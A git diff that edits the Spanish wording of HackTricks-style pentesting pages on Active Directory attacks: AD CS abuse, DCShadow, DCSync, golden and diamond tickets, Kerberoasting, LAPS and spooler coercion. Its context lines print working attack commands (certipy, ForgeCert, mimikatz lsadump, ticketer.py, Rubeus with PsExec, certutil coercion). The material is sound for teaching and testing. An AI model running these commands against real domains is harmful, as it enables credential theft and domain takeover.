 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
 ```
@@ -513,7 +514,7 @@ Esta vulnerabilidad también se extiende a cualquier cuenta de usuario que carez
 
 ### Explicación
 
-Si el servidor CA no está configurado con `IF_ENFORCEENCRYPTICERTREQUEST`, puede realizar ataques de retransmisión NTLM sin firma a través del servicio RPC. [Referencia aquí](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
+Si el servidor CA no está configurado con `IF_ENFORCEENCRYPTICERTREQUEST`, puede realizar ataques de relé NTLM sin firma a través del servicio RPC. [Referencia aquí](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
 
 Puedes usar `certipy` para enumerar si `Enforce Encryption for Requests` está deshabilitado y certipy mostrará las vulnerabilidades `ESC11`.
 ```bash
@@ -573,7 +574,7 @@ Referencia en [aquí](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-c
 
 ### Escenario de abuso
 
-Si la clave privada de la CA se almacena en un dispositivo USB físico cuando obtuviste acceso a shell, es posible recuperar la clave.
+Si la clave privada de la CA está almacenada en un dispositivo USB físico cuando obtuviste acceso a shell, es posible recuperar la clave.
 
 Primero, necesitas obtener el certificado de la CA (esto es público) y luego:
 ```cmd
@@ -627,13 +628,13 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target
 ```
 ## Comprometiendo Bosques con Certificados Explicados en Voz Pasiva
 
-### Ruptura de Confianzas de Bosque por CAs Comprometidos
+### Ruptura de Confianzas de Bosque por CAs Comprometidas
 
 La configuración para **inscripción entre bosques** es relativamente sencilla. El **certificado de CA raíz** del bosque de recursos es **publicado en los bosques de cuentas** por los administradores, y los certificados de **CA empresarial** del bosque de recursos son **agregados a los contenedores `NTAuthCertificates` y AIA en cada bosque de cuentas**. Para aclarar, este arreglo otorga a la **CA en el bosque de recursos control total** sobre todos los demás bosques para los cuales gestiona PKI. Si esta CA es **comprometida por atacantes**, los certificados de todos los usuarios en ambos, el bosque de recursos y el bosque de cuentas, podrían ser **falsificados por ellos**, rompiendo así el límite de seguridad del bosque.
 
 ### Privilegios de Inscripción Otorgados a Principales Extranjeros
 
 En entornos de múltiples bosques, se requiere precaución con respecto a las CAs Empresariales que **publican plantillas de certificados** que permiten a **Usuarios Autenticados o principales extranjeros** (usuarios/grupos externos al bosque al que pertenece la CA Empresarial) **derechos de inscripción y edición**.\
-Tras la autenticación a través de una confianza, el **SID de Usuarios Autenticados** es agregado al token del usuario por AD. Así, si un dominio posee una CA Empresarial con una plantilla que **permite derechos de inscripción a Usuarios Autenticados**, una plantilla podría potencialmente ser **inscrita por un usuario de un bosque diferente**. Del mismo modo, si **los derechos de inscripción son explícitamente otorgados a un principal extranjero por una plantilla**, se **crea así una relación de control de acceso entre bosques**, permitiendo a un principal de un bosque **inscribirse en una plantilla de otro bosque**.
+Tras la autenticación a través de una confianza, el **SID de Usuarios Autenticados** es agregado al token del usuario por AD. Así, si un dominio posee una CA Empresarial con una plantilla que **permite derechos de inscripción a Usuarios Autenticados**, una plantilla podría potencialmente ser **inscrita por un usuario de un bosque diferente**. Del mismo modo, si **los derechos de inscripción son otorgados explícitamente a un principal extranjero por una plantilla**, se **crea una relación de control de acceso entre bosques**, permitiendo a un principal de un bosque **inscribirse en una plantilla de otro bosque**.
 
 Ambos escenarios conducen a un **aumento en la superficie de ataque** de un bosque a otro. La configuración de la plantilla de certificado podría ser explotada por un atacante para obtener privilegios adicionales en un dominio extranjero.
diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md
index 05dbf5d28..a284452f6 100644
--- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md
+++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md
@@ -21,7 +21,7 @@ El certificado y la clave privada también se pueden obtener utilizando Certipy
 ```bash
 certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
 ```
-Al adquirir el certificado de CA y su clave privada en formato `.pfx`, se pueden utilizar herramientas como [ForgeCert](https://github.com/GhostPack/ForgeCert) para generar certificados válidos:
+Al adquirir el certificado CA y su clave privada en formato `.pfx`, se pueden utilizar herramientas como [ForgeCert](https://github.com/GhostPack/ForgeCert) para generar certificados válidos:
 ```bash
 # Generating a new certificate with ForgeCert
 ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
@@ -58,6 +58,6 @@ Las oportunidades para la **persistencia** a través de **modificaciones del des
 - Cualquier **objeto o contenedor AD descendiente** en **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (por ejemplo, el contenedor de Plantillas de Certificado, contenedor de Autoridades de Certificación, el objeto NTAuthCertificates, etc.)
 - **Grupos AD a los que se les delegaron derechos para controlar AD CS** por defecto o por la organización (como el grupo incorporado Cert Publishers y cualquiera de sus miembros)
 
-Un ejemplo de implementación maliciosa implicaría a un atacante, que tiene **permisos elevados** en el dominio, agregando el permiso **`WriteOwner`** a la plantilla de certificado **`User`** predeterminada, siendo el atacante el principal para el derecho. Para explotar esto, el atacante primero cambiaría la propiedad de la plantilla **`User`** a sí mismo. Después de esto, el **`mspki-certificate-name-flag`** se establecería en **1** en la plantilla para habilitar **`ENROLLEE_SUPPLIES_SUBJECT`**, permitiendo a un usuario proporcionar un Nombre Alternativo de Sujeto en la solicitud. Posteriormente, el atacante podría **inscribirse** usando la **plantilla**, eligiendo un nombre de **administrador de dominio** como nombre alternativo, y utilizar el certificado adquirido para autenticarse como el DA.
+Un ejemplo de implementación maliciosa implicaría a un atacante, que tiene **permisos elevados** en el dominio, agregando el permiso **`WriteOwner`** a la plantilla de certificado **`User`** por defecto, siendo el atacante el principal para el derecho. Para explotar esto, el atacante primero cambiaría la propiedad de la plantilla **`User`** a sí mismo. Después de esto, el **`mspki-certificate-name-flag`** se establecería en **1** en la plantilla para habilitar **`ENROLLEE_SUPPLIES_SUBJECT`**, permitiendo a un usuario proporcionar un Nombre Alternativo de Sujeto en la solicitud. Posteriormente, el atacante podría **inscribirse** usando la **plantilla**, eligiendo un nombre de **administrador de dominio** como nombre alternativo, y utilizar el certificado adquirido para autenticarse como el DA.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/bloodhound.md b/src/windows-hardening/active-directory-methodology/bloodhound.md
index d1de4b4bf..81ead3779 100644
--- a/src/windows-hardening/active-directory-methodology/bloodhound.md
+++ b/src/windows-hardening/active-directory-methodology/bloodhound.md
@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## AD Explorer
+## Explorador de AD
 
 [AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) es parte de Sysinternal Suite:
 
@@ -15,7 +15,7 @@ Se puede usar para descubrir vulnerabilidades sin conexión, o para comparar dif
 
 Se requerirá el nombre de usuario, la contraseña y la dirección para conectarse (se requiere cualquier usuario de AD).
 
-Para tomar una instantánea de AD, ve a `File` --> `Create Snapshot` y ingresa un nombre para la instantánea.
+Para tomar una instantánea de AD, ve a `File` --> `Create Snapshot` y entra un nombre para la instantánea.
 
 ## ADRecon
 
diff --git a/src/windows-hardening/active-directory-methodology/dcshadow.md b/src/windows-hardening/active-directory-methodology/dcshadow.md
index 6efc3be31..74b41547e 100644
--- a/src/windows-hardening/active-directory-methodology/dcshadow.md
+++ b/src/windows-hardening/active-directory-methodology/dcshadow.md
@@ -2,7 +2,7 @@
 
 # DCShadow
 
-Registra un **nuevo Controlador de Dominio** en el AD y lo utiliza para **empujar atributos** (SIDHistory, SPNs...) en objetos específicos **sin** dejar ningún **registro** sobre las **modificaciones**. Necesitas privilegios de **DA** y estar dentro del **dominio raíz**.\
+Registra un **nuevo Controlador de Dominio** en el AD y lo utiliza para **empujar atributos** (SIDHistory, SPNs...) en objetos especificados **sin** dejar ningún **registro** sobre las **modificaciones**. **Necesitas privilegios de DA** y estar dentro del **dominio raíz**.\
 Ten en cuenta que si usas datos incorrectos, aparecerán registros bastante feos.
 
 Para realizar el ataque necesitas 2 instancias de mimikatz. Una de ellas iniciará los servidores RPC con privilegios de SYSTEM (aquí debes indicar los cambios que deseas realizar), y la otra instancia se utilizará para empujar los valores:
@@ -21,7 +21,7 @@ También puedes seleccionar un objeto "LDAP": `/object:CN=Administrator,CN=Users
 Puedes enviar los cambios desde un DA o desde un usuario con estos permisos mínimos:
 
 - En el **objeto de dominio**:
-- _DS-Install-Replica_ (Agregar/Eliminar Réplica en Dominio)
+- _DS-Install-Replica_ (Agregar/Quitar Réplica en Dominio)
 - _DS-Replication-Manage-Topology_ (Gestionar Topología de Replicación)
 - _DS-Replication-Synchronize_ (Sincronización de Replicación)
 - El **objeto de Sitios** (y sus hijos) en el **contenedor de Configuración**:
@@ -49,7 +49,7 @@ lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519
 #Second, add to the ACE permissions to your user and push it using DCShadow
 lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>
 ```
-## Shadowception - Dar permisos de DCShadow usando DCShadow (sin registros de permisos modificados)
+## Shadowception - Dar permisos a DCShadow usando DCShadow (sin registros de permisos modificados)
 
 Necesitamos agregar los siguientes ACEs con el SID de nuestro usuario al final:
 
@@ -63,7 +63,7 @@ Necesitamos agregar los siguientes ACEs con el SID de nuestro usuario al final:
 
 Para obtener el ACE actual de un objeto: `(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl`
 
-Ten en cuenta que en este caso necesitas hacer **varios cambios,** no solo uno. Así que, en la **sesión de mimikatz1** (servidor RPC) usa el parámetro **`/stack` con cada cambio** que quieras hacer. De esta manera, solo necesitarás **`/push`** una vez para realizar todos los cambios acumulados en el servidor rogue.
+Ten en cuenta que en este caso necesitas hacer **varios cambios,** no solo uno. Así que, en la **sesión mimikatz1** (servidor RPC) usa el parámetro **`/stack` con cada cambio** que quieras hacer. De esta manera, solo necesitarás **`/push`** una vez para realizar todos los cambios acumulados en el servidor rogue.
 
 [**Más información sobre DCShadow en ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow)
 
diff --git a/src/windows-hardening/active-directory-methodology/dcsync.md b/src/windows-hardening/active-directory-methodology/dcsync.md
index f2992d205..7276c5b54 100644
--- a/src/windows-hardening/active-directory-methodology/dcsync.md
+++ b/src/windows-hardening/active-directory-methodology/dcsync.md
@@ -33,7 +33,7 @@ secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
 
 - uno con los **hashes NTLM**
 - uno con las **claves Kerberos**
-- uno con contraseñas en texto claro del NTDS para cualquier cuenta configurada con [**encriptación reversible**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) habilitada. Puedes obtener usuarios con encriptación reversible con
+- uno con contraseñas en texto claro del NTDS para cualquier cuenta configurada con [**cifrado reversible**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) habilitado. Puedes obtener usuarios con cifrado reversible con
 
 ```powershell
 Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
diff --git a/src/windows-hardening/active-directory-methodology/diamond-ticket.md b/src/windows-hardening/active-directory-methodology/diamond-ticket.md
index 9a6e91c24..9d2a9df5e 100644
--- a/src/windows-hardening/active-directory-methodology/diamond-ticket.md
+++ b/src/windows-hardening/active-directory-methodology/diamond-ticket.md
@@ -4,17 +4,17 @@
 
 ## Diamond Ticket
 
-**Como un ticket dorado**, un ticket de diamante es un TGT que se puede usar para **acceder a cualquier servicio como cualquier usuario**. Un ticket dorado se forja completamente fuera de línea, se cifra con el hash krbtgt de ese dominio y luego se pasa a una sesión de inicio de sesión para su uso. Debido a que los controladores de dominio no rastrean los TGT que (o ellos) han emitido legítimamente, aceptarán felizmente los TGT que están cifrados con su propio hash krbtgt.
+**Como un billete dorado**, un billete de diamante es un TGT que se puede usar para **acceder a cualquier servicio como cualquier usuario**. Un billete dorado se forja completamente fuera de línea, se cifra con el hash krbtgt de ese dominio y luego se pasa a una sesión de inicio de sesión para su uso. Debido a que los controladores de dominio no rastrean los TGT que han emitido legítimamente, aceptarán felizmente los TGT que están cifrados con su propio hash krbtgt.
 
-Hay dos técnicas comunes para detectar el uso de tickets dorados:
+Hay dos técnicas comunes para detectar el uso de billetes dorados:
 
 - Buscar TGS-REQs que no tengan un AS-REQ correspondiente.
 - Buscar TGTs que tengan valores absurdos, como la vida útil predeterminada de 10 años de Mimikatz.
 
-Un **ticket de diamante** se crea **modificando los campos de un TGT legítimo que fue emitido por un DC**. Esto se logra **solicitando** un **TGT**, **descifrándolo** con el hash krbtgt del dominio, **modificando** los campos deseados del ticket y luego **volviéndolo a cifrar**. Esto **supera las dos desventajas mencionadas anteriormente** de un ticket dorado porque:
+Un **billete de diamante** se crea al **modificar los campos de un TGT legítimo que fue emitido por un DC**. Esto se logra al **solicitar** un **TGT**, **descifrarlo** con el hash krbtgt del dominio, **modificar** los campos deseados del billete y luego **vuelve a cifrarlo**. Esto **supera las dos deficiencias mencionadas anteriormente** de un billete dorado porque:
 
 - Los TGS-REQs tendrán un AS-REQ anterior.
-- El TGT fue emitido por un DC, lo que significa que tendrá todos los detalles correctos de la política Kerberos del dominio. Aunque estos pueden ser forjados con precisión en un ticket dorado, es más complejo y propenso a errores.
+- El TGT fue emitido por un DC, lo que significa que tendrá todos los detalles correctos de la política Kerberos del dominio. Aunque estos pueden ser forjados con precisión en un billete dorado, es más complejo y propenso a errores.
 ```bash
 # Get user RID
 powershell Get-DomainUser -Identity <username> -Properties objectsid
diff --git a/src/windows-hardening/active-directory-methodology/dsrm-credentials.md b/src/windows-hardening/active-directory-methodology/dsrm-credentials.md
index 234477e66..2c71256a4 100644
--- a/src/windows-hardening/active-directory-methodology/dsrm-credentials.md
+++ b/src/windows-hardening/active-directory-methodology/dsrm-credentials.md
@@ -23,6 +23,6 @@ Más información sobre esto en: [https://adsecurity.org/?p=1714](https://adsecu
 
 ## Mitigación
 
-- Event ID 4657 - Auditoría de creación/cambio de `HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior`
+- ID de evento 4657 - Auditoría de creación/cambio de `HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior`
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md b/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md
index 5e2b3f6a2..ba4958083 100644
--- a/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md
+++ b/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md
@@ -36,11 +36,11 @@ El aspecto crítico a entender aquí es que la contraseña y el hash de esta cue
 ```powershell
 Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
 ```
-Esta extracción es posible porque la cuenta, identificada con un **$** después de su nombre, está activa y pertenece al grupo "Domain Users" del dominio **A**, heredando así los permisos asociados con este grupo. Esto permite a los individuos autenticarse en el dominio **A** utilizando las credenciales de esta cuenta.
+Esta extracción es posible porque la cuenta, identificada con un **$** después de su nombre, está activa y pertenece al grupo "Domain Users" del dominio **A**, heredando así los permisos asociados con este grupo. Esto permite a los individuos autenticarse contra el dominio **A** utilizando las credenciales de esta cuenta.
 
 **Advertencia:** Es factible aprovechar esta situación para obtener un acceso inicial en el dominio **A** como usuario, aunque con permisos limitados. Sin embargo, este acceso es suficiente para realizar enumeración en el dominio **A**.
 
-En un escenario donde `ext.local` es el dominio de confianza y `root.local` es el dominio confiado, se crearía una cuenta de usuario llamada `EXT$` dentro de `root.local`. A través de herramientas específicas, es posible volcar las claves de confianza de Kerberos, revelando las credenciales de `EXT$` en `root.local`. El comando para lograr esto es:
+En un escenario donde `ext.local` es el dominio confiador y `root.local` es el dominio confiado, se crearía una cuenta de usuario llamada `EXT$` dentro de `root.local`. A través de herramientas específicas, es posible volcar las claves de confianza de Kerberos, revelando las credenciales de `EXT$` en `root.local`. El comando para lograr esto es:
 ```bash
 lsadump::trust /patch
 ```
@@ -62,7 +62,7 @@ La contraseña en texto claro se puede obtener convirtiendo la salida \[ CLEAR ]
 
 A veces, al crear una relación de confianza, el usuario debe escribir una contraseña para la confianza. En esta demostración, la clave es la contraseña de confianza original y, por lo tanto, legible por humanos. A medida que la clave cambia (cada 30 días), el texto claro no será legible por humanos, pero técnicamente seguirá siendo utilizable.
 
-La contraseña en texto claro se puede utilizar para realizar autenticación regular como la cuenta de confianza, una alternativa a solicitar un TGT utilizando la clave secreta de Kerberos de la cuenta de confianza. Aquí, consultando root.local desde ext.local para miembros de Domain Admins:
+La contraseña en texto claro se puede usar para realizar autenticación regular como la cuenta de confianza, una alternativa a solicitar un TGT utilizando la clave secreta de Kerberos de la cuenta de confianza. Aquí, consultando root.local desde ext.local para miembros de Domain Admins:
 
 ![](<../../images/image (792).png>)
 
diff --git a/src/windows-hardening/active-directory-methodology/golden-ticket.md b/src/windows-hardening/active-directory-methodology/golden-ticket.md
index 67d8a3616..314034bfd 100644
--- a/src/windows-hardening/active-directory-methodology/golden-ticket.md
+++ b/src/windows-hardening/active-directory-methodology/golden-ticket.md
@@ -8,7 +8,7 @@ Un **ataque de Golden Ticket** consiste en la **creación de un Ticket Granting
 
 Para **adquirir el hash NTLM** de la cuenta krbtgt, se pueden emplear varios métodos. Puede ser extraído del **proceso de Local Security Authority Subsystem Service (LSASS)** o del **archivo NT Directory Services (NTDS.dit)** ubicado en cualquier Controlador de Dominio (DC) dentro del dominio. Además, **ejecutar un ataque DCsync** es otra estrategia para obtener este hash NTLM, que se puede realizar utilizando herramientas como el **módulo lsadump::dcsync** en Mimikatz o el **script secretsdump.py** de Impacket. Es importante subrayar que para llevar a cabo estas operaciones, **normalmente se requieren privilegios de administrador de dominio o un nivel de acceso similar**.
 
-Aunque el hash NTLM sirve como un método viable para este propósito, se **recomienda encarecidamente** **forjar tickets utilizando las claves Kerberos de Advanced Encryption Standard (AES) (AES128 y AES256)** por razones de seguridad operativa.
+Aunque el hash NTLM sirve como un método viable para este propósito, se **recomienda encarecidamente** **forjar tickets utilizando las claves Kerberos del Estándar de Cifrado Avanzado (AES) (AES128 y AES256)** por razones de seguridad operativa.
 ```bash:From Linux
 python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
 export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
@@ -38,7 +38,7 @@ Get-DomainPolicy | select -expand KerberosPolicy
 ```
 Desafortunadamente, la duración del TGT no se registra en los 4769, por lo que no encontrarás esta información en los registros de eventos de Windows. Sin embargo, lo que puedes correlacionar es **ver 4769 sin un previo 4768**. **No es posible solicitar un TGS sin un TGT**, y si no hay registro de que se haya emitido un TGT, podemos inferir que fue forjado fuera de línea.
 
-Para **eludir esta detección**, revisa los diamond tickets:
+Para **eludir esta detección**, verifica los diamond tickets:
 
 {{#ref}}
 diamond-ticket.md
diff --git a/src/windows-hardening/active-directory-methodology/kerberoast.md b/src/windows-hardening/active-directory-methodology/kerberoast.md
index 1b9345033..5f0b2b703 100644
--- a/src/windows-hardening/active-directory-methodology/kerberoast.md
+++ b/src/windows-hardening/active-directory-methodology/kerberoast.md
@@ -125,7 +125,7 @@ Al implementar estas medidas, las organizaciones pueden reducir significativamen
 
 ## Kerberoast sin cuenta de dominio
 
-En **septiembre de 2022**, un nuevo método para explotar un sistema fue revelado por un investigador llamado Charlie Clark, compartido a través de su plataforma [exploit.ph](https://exploit.ph/). Este método permite la adquisición de **Tickets de Servicio (ST)** a través de una solicitud **KRB_AS_REQ**, que notablemente no requiere control sobre ninguna cuenta de Active Directory. Esencialmente, si un principal está configurado de tal manera que no requiere pre-autenticación—un escenario similar a lo que se conoce en el ámbito de la ciberseguridad como un **ataque AS-REP Roasting**—esta característica puede ser aprovechada para manipular el proceso de solicitud. Específicamente, al alterar el atributo **sname** dentro del cuerpo de la solicitud, el sistema es engañado para emitir un **ST** en lugar del estándar Ticket Granting Ticket (TGT) encriptado.
+En **septiembre de 2022**, un nuevo método para explotar un sistema fue revelado por un investigador llamado Charlie Clark, compartido a través de su plataforma [exploit.ph](https://exploit.ph/). Este método permite la adquisición de **Tickets de Servicio (ST)** a través de una solicitud **KRB_AS_REQ**, que notablemente no requiere control sobre ninguna cuenta de Active Directory. Esencialmente, si un principal está configurado de tal manera que no requiere pre-autenticación—un escenario similar a lo que se conoce en el ámbito de la ciberseguridad como un ataque de **AS-REP Roasting**—esta característica puede ser aprovechada para manipular el proceso de solicitud. Específicamente, al alterar el atributo **sname** dentro del cuerpo de la solicitud, el sistema es engañado para emitir un **ST** en lugar del estándar Ticket Granting Ticket (TGT) encriptado.
 
 La técnica se explica completamente en este artículo: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
 
diff --git a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md b/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md
index 952ed6320..2d378d8db 100644
--- a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md
+++ b/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md
@@ -22,11 +22,11 @@ Si la **delegación no restringida** está habilitada en la PC, esto no suceder
 
 ### CredSSP
 
-Otra forma de evitar este problema, que es [**notablemente insegura**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), es el **Proveedor de Soporte de Seguridad de Credenciales**. De Microsoft:
+Otra forma de evitar este problema que es [**notablemente insegura**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) es el **Proveedor de Soporte de Seguridad de Credenciales**. De Microsoft:
 
 > La autenticación CredSSP delega las credenciales del usuario desde la computadora local a una computadora remota. Esta práctica aumenta el riesgo de seguridad de la operación remota. Si la computadora remota es comprometida, cuando se pasan las credenciales a ella, las credenciales pueden ser utilizadas para controlar la sesión de red.
 
-Se recomienda encarecidamente que **CredSSP** esté deshabilitado en sistemas de producción, redes sensibles y entornos similares debido a preocupaciones de seguridad. Para determinar si **CredSSP** está habilitado, se puede ejecutar el comando `Get-WSManCredSSP`. Este comando permite **verificar el estado de CredSSP** e incluso puede ser ejecutado de forma remota, siempre que **WinRM** esté habilitado.
+Se recomienda encarecidamente que **CredSSP** esté deshabilitado en sistemas de producción, redes sensibles y entornos similares debido a preocupaciones de seguridad. Para determinar si **CredSSP** está habilitado, se puede ejecutar el comando `Get-WSManCredSSP`. Este comando permite **verificar el estado de CredSSP** y puede incluso ejecutarse de forma remota, siempre que **WinRM** esté habilitado.
 ```powershell
 Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
 Get-WSManCredSSP
@@ -73,7 +73,7 @@ Instalar OpenSSH en el primer servidor permite una solución para el problema de
 
 #### Pasos de Instalación de OpenSSH
 
-1. Descargue y mueva el último archivo zip de OpenSSH a el servidor objetivo.
+1. Descargue y mueva el último zip de la versión de OpenSSH al servidor objetivo.
 2. Descomprima y ejecute el script `Install-sshd.ps1`.
 3. Agregue una regla de firewall para abrir el puerto 22 y verifique que los servicios SSH estén en funcionamiento.
 
diff --git a/src/windows-hardening/active-directory-methodology/laps.md b/src/windows-hardening/active-directory-methodology/laps.md
index 1d91c518b..d5e0bb77b 100644
--- a/src/windows-hardening/active-directory-methodology/laps.md
+++ b/src/windows-hardening/active-directory-methodology/laps.md
@@ -26,7 +26,7 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs
 
 Puedes **descargar la política LAPS en bruto** desde `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` y luego usar **`Parse-PolFile`** del paquete [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) para convertir este archivo en un formato legible por humanos.
 
-Además, se pueden usar los **cmdlets de PowerShell nativos de LAPS** si están instalados en una máquina a la que tenemos acceso:
+Además, los **cmdlets nativos de PowerShell de LAPS** se pueden usar si están instalados en una máquina a la que tenemos acceso:
 ```powershell
 Get-Command *AdmPwd*
 
@@ -103,7 +103,7 @@ Password: 2Z@Ae)7!{9#Cq
 
 ### **Fecha de Expiración**
 
-Una vez que se tiene acceso de administrador, es posible **obtener las contraseñas** y **prevenir** que una máquina **actualice** su **contraseña** al **establecer la fecha de expiración en el futuro**.
+Una vez que se tiene acceso de administrador, es posible **obtener las contraseñas** y **prevenir** que una máquina **actualice** su **contraseña** **estableciendo la fecha de expiración en el futuro**.
 ```powershell
 # Get expiration time
 Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
diff --git a/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md b/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md
index 0615e6407..d21d76216 100644
--- a/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md
+++ b/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md
@@ -19,12 +19,12 @@ Para escenarios que requieren AES256, se puede utilizar la opción `-aesKey [AES
 
 Los problemas encontrados como _PyAsn1Error_ o _KDC cannot find the name_ se resuelven típicamente actualizando la biblioteca Impacket o utilizando el nombre de host en lugar de la dirección IP, asegurando la compatibilidad con el KDC de Kerberos.
 
-Una secuencia de comandos alternativa usando Rubeus.exe demuestra otro aspecto de esta técnica:
+Una secuencia de comandos alternativa utilizando Rubeus.exe demuestra otro aspecto de esta técnica:
 ```bash
 .\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
 .\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
 ```
-Este método refleja el enfoque de **Pass the Key**, con un enfoque en apoderarse y utilizar el ticket directamente para fines de autenticación. Es crucial notar que la iniciación de una solicitud de TGT activa el evento `4768: A Kerberos authentication ticket (TGT) was requested`, lo que significa un uso de RC4-HMAC por defecto, aunque los sistemas Windows modernos prefieren AES256.
+Este método refleja el enfoque de **Pass the Key**, con un enfoque en apoderarse y utilizar el ticket directamente para fines de autenticación. Es crucial notar que la iniciación de una solicitud de TGT activa el evento `4768: Se solicitó un ticket de autenticación Kerberos (TGT)`, lo que significa un uso de RC4-HMAC por defecto, aunque los sistemas Windows modernos prefieren AES256.
 
 Para conformarse a la seguridad operativa y usar AES256, se puede aplicar el siguiente comando:
 ```bash
diff --git a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
index b197f2908..d7a84186a 100644
--- a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
+++ b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
@@ -19,7 +19,7 @@ Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (Operati
 ```
 ### Encontrar servicios de Spooler escuchando
 
-Usando una versión ligeramente modificada de @mysmartlogin (Vincent Le Toux) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), verifica si el Servicio de Spooler está escuchando:
+Usando un @mysmartlogin ligeramente modificado (Vincent Le Toux) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), verifica si el Servicio de Spooler está escuchando:
 ```bash
 . .\Get-SpoolStatus.ps1
 ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
@@ -80,7 +80,7 @@ O utiliza esta otra técnica: [https://github.com/p0dalirius/MSSQL-Analysis-Coer
 
 ### Certutil
 
-Es posible usar certutil.exe lolbin (binario firmado por Microsoft) para forzar la autenticación NTLM:
+Es posible utilizar certutil.exe lolbin (binario firmado por Microsoft) para forzar la autenticación NTLM:
 ```bash
 certutil.exe -syncwithWU  \\127.0.0.1\share
 ```
@@ -102,7 +102,7 @@ Si puedes realizar un ataque MitM a una computadora e inyectar HTML en una pági
 ```
 ## Cracking NTLMv1
 
-Si puedes capturar [los desafíos de NTLMv1 lee aquí cómo crackearlos](../ntlm/#ntlmv1-attack).\
-&#xNAN;_&#x52;ecuerda que para crackear NTLMv1 necesitas establecer el desafío de Responder a "1122334455667788"_
+Si puedes capturar [los desafíos NTLMv1 lee aquí cómo crackearlos](../ntlm/#ntlmv1-attack).\
+&#xNAN;_&#x52;ecuerda que para crackear NTLMv1 necesitas establecer el desafío de Responder en "1122334455667788"_
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md
index 929054344..28ccba55e 100644
--- a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md
+++ b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md
@@ -22,7 +22,7 @@ Agregar nuevos usuarios está permitido, así como el inicio de sesión local en
 
 La lista de control de acceso (ACL) del grupo **AdminSDHolder** es crucial, ya que establece permisos para todos los "grupos protegidos" dentro de Active Directory, incluidos los grupos de alto privilegio. Este mecanismo garantiza la seguridad de estos grupos al prevenir modificaciones no autorizadas.
 
